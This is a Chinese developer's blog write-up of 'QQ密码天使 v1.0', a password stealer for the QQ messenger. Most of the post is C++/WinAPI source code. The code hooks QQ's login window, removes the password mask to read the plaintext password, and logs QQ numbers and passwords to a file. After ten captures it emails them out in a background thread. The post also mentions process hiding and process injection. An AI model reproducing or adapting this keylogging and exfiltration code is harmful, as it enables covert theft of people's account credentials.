QQ密码天使v1.0开发小记

  

    首行申明一下,写这个程序完全是一时的兴趣,是自己一个阶段学习的总结而已!程序没有发表,毕竟这个程序多多少少有点害人!L只所以叫“密码天使”,嘻嘻,形象撒!让你意想不到会收到这么多ID、密码,自然有点天使的成份了!J这个程序我是很久以前完成的,我没有写文档的经验,漏洞难免,以后加强嘻嘻~~~~~   
       程序运行界面如下:

                    

              图 一                                                  图 二



    本程序具有进程伪隐藏(1.1版可以真隐藏),热键呼出,邮件发送等功能!

    程序共有二个部分,ExeDll,有了Dll 免不了要用到钩子,由于QQ版本不断提高,所以找QQ窗口要多方面判断!不过对不同的QQ版本有不同的要求,象我下面的判断就仅对有“清除 ...“这种特征的QQ版本有效!(在此感谢titilima的帮助)!当然程序运行后是驻留在内存中的, 我用Timer事件监视QQ窗口!程序部分如下:

 HWND g_hQQ; // QQ窗口句柄

void CGetQQWordDlg::OnTimer(UINT nIDEvent)

{

      if(!IsWindow(g_hQQ))

       {

             HWND hSend; // “登陆子窗口句柄

             HWND hNext; // “下一步子窗口句柄

             g_hQQ = NULL;

             m_hook.StartHook(NULL);

             do

               {

                     g_hQQ = FindWindowEx(NULL,  g_hQQ,  "#32770",  NULL);     

                      hSend = FindWindowEx(g_hQQ, NULL,  "Button",  "清除 ...");

                      hNext = FindWindowEx(g_hQQ, NULL, "Button", "下一步(&N) >");

               }       

              while(g_hQQ != NULL && hSend == NULL && hNext == NULL);

              if (g_hQQ != NULL )  // 发现了QQ窗口

              {

                     m_hook.StartHook(g_hQQ);  // 设置钩子

               }

         }       

}

    设好钩子之后,随程序进入Dll看看,有什么好看的嘛(你不去怎么会知道呢?)
 各路看官请注意呀!我将设置钩子和关闭钩子作了一个小包装CGetQQHook!面向对象编程这点就是好,让你整体来分析!

 BOOL CGetQQHook::StartHook(HWND hQQ)

{

    if (hQQ != NULL)

     {

          shQQ = hQQ; // 改变共享段中shQQ的值

          DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);// 得到QQ所在的线程ID

          hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc,  glhInstance,  dwThreadID);//

          if (hProc)

               return TRUE;

         }

         else

         {

                  StopHook();

         }

         return FALSE;

}

    我用的钩子是WH_CALLWNDPROC,操作系统将消息发送到进程窗口函数之前,消息要先经过钩子过涉滤一下,判断是不是按键消息,如果是,则枚举当前主窗口,找出具有密码和用户特性的子窗口。(找按键ID时动用了spy++)记录下来!OK!是不觉得大功告成了一大半!J

HWND hwd = NULL;// 存临时量

LRESULT WINAPI CallWndProc(int nCode,WPARAM wParam,LPARAM lParam)

{

       if (nCode == HC_ACTION)

       {                

            CWPSTRUCT *p = (CWPSTRUCT*)lParam;

            HWND hTargetHwnd = shQQ; // 中转句柄
            if (p->message == WM_COMMAND )// 捕获命令

            {

                if ((LOWORD(p->wParam) == 1) || (LOWORD(p->wParam) == 0x00003024))
                  {

                      if (hwd == NULL)

                        {

                               hwd = shQQ;

                               ::EnumChildWindows(hTargetHwnd, EnumWndProc, 0);

                        }

                       if (hwd == shQQ) // 如果是同一窗口

                                  return CallNextHookEx(hProc,nCode,wParam,lParam);                             

                 }

           }
      }

     return CallNextHookEx(hProc,nCode,wParam,lParam);

}

    在枚举窗口的时候,如果是密码框口,先去掉其密码属性,然后取内容(不然在NT系统下就有麻烦),还有一个很重要的问题,由于发送功能动用了类库,在记录密码到10个之后,调用发送函数会有停滞现象,所以开启了一个线程,减缓这一现象!

  BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)

{

         char sWindowClass[256];

         CString strWindowClass;

         CString strWindowName;

         ::GetClassName(hwnd, sWindowClass, 256);

         strWindowClass.ReleaseBuffer();

         strWindowClass = sWindowClass;         

         ofstream fout; 

         char cPath[512];

         ::GetCurrentDirectory(512, cPath);

         strcat(cPath,  _T("//kk.txt"));// 切记,当前的目录是QQ所在的目录

         if (strWindowClass == _T("Edit"))

         {

                   for (int i = 0; i < 10; i++)

                   {

                            strWindowName = sWindowName[i];

                            if (strWindowName.GetLength() == 0)

                                     break;                         

                   }

                   if (i < 10)// 0i 的字符数组中已存有数据

                   {

                            fout.open(cPath, ios::app);

                            DWORD style = GetWindowLong(hwnd, GWL_STYLE);

                            if (style & ES_PASSWORD )

                            {

                                     long nType;   

                                     nType = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0);
                                     PostMessage( hwnd, EM_SETPASSWORDCHAR, 0, 0);

                                     Sleep (100);//停止100毫秒

                                     SendMessage(hwnd, WM_GETTEXT, 256, (LPARAM)sWindowName[i]);

                                     PostMessage(hwnd, EM_SETPASSWORDCHAR, nType, 0);

                                     fout << "密码:";       

                                     fout << sWindowName[i] << "/n";

                            }

                            else

                            {

                                     if (((style & ES_READONLY) != ES_READONLY) && (style & WS_VISIBLE) )

                                     {                                            

                                          ::SendMessage(hwnd,WM_GETTEXT,256, (LPARAM)sWindowName[i]);

                                         fout << "QQ号码:";                                           

                                         fout << sWindowName[i] << "/t/t";                       

                                     }

                            }

                            fout.close();        

                   }

                   else

                   {

                          for (int k = 0; k < 10; k++)

                                strcpy(sTemp[k], sWindowName[k]);     

                          memset(sWindowName, 0, 10 * 256);

                          AfxBeginThread(SendMailUserIdPass, NULL, THREAD_PRIORITY_NORMAL);

                          ::EnumChildWindows(::GetParent(hwnd), EnumWndProc, 0);

                    }                   

         }

        return TRUE;        

}

  

// 全局线程函数

UINT SendMailUserIdPass(LPVOID pParam)

{

      SendmyQQInfo();         // 发送你取得的密码、ID

       return 0;

}  

 

   至此,程序的主要部分已完成!但是当你看我的源码时,你会发现,我在共享数据段里注释了好多,因为我写这个程序的时候在这个地方受到了一些挫折,如果有不太清楚共享数据的朋友,我建议你去看看titilima的大作《‘QQ尾巴病毒’核心技术的实现》,该文形象的说明了数据共享段的一些细节。http://home.nuc.edu.cn/~titilima/readarticle.php?id=23

   
后来在QQ密码天使V1.1版本中我用的是内存映射,因为我觉得多个DLLExe相互共享数据时,我感觉用内存映射传递结构体类型要清楚些!

#pragma data_seg("wenboly")

 HHOOK  hProc = NULL;     // 监视特定消息的钩子

 HWND shQQ = NULL;        // QQ句柄
 char sWindowName[10][256] = {0};                             

#pragma data_seg()

   放在共享段中的数据,是ExeDll共享的,对它的改变会影响到所有它出现的地方(有点象静态变量)

对于邮件发送部分,我引用的是别人的类库,我就不作说明,要是对STL开发有兴趣的,这个类库可是上好的资料!J

     另外程序还有对注册表的读、写操作,窗口启动的隐藏,窗口的热键,限于版面,我就不多赘述!另外在1.1版本中我用到了进程注入技术(不是远进程注入),Exe自生又自灭!

     错误难免,望高手止笑!
                                   ®Miniking

 

你可能感兴趣的:("QQ密码天使1.0"开发小记,qq,null,winapi,dll,exe,button)